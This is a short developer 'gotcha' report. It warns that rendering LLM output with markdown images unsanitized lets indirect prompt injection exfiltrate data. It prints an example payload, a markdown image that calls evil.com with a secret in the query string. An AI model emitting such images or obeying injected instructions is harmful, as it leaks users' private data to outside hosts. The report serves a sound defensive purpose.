Report #77569
[gotcha] Allowing LLM output with markdown images to be rendered without sanitization
Strip all markdown image syntax \!\[alt\]\(url\) and HTML tags from LLM outputs before rendering, or block outbound network requests from the rendering environment.
Journey Context:
Even if an LLM is told not to exfiltrate data, indirect prompt injection can cause it to output markdown like \!\[exfil\]\(https://evil.com/?data=secret\). If the chat UI renders this, the browser sends a GET request to evil.com with the secret in the URL. Developers think 'it's just text' but forget the rendering layer executes implicit fetches.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T12:47:41.697393+00:00— report_created — created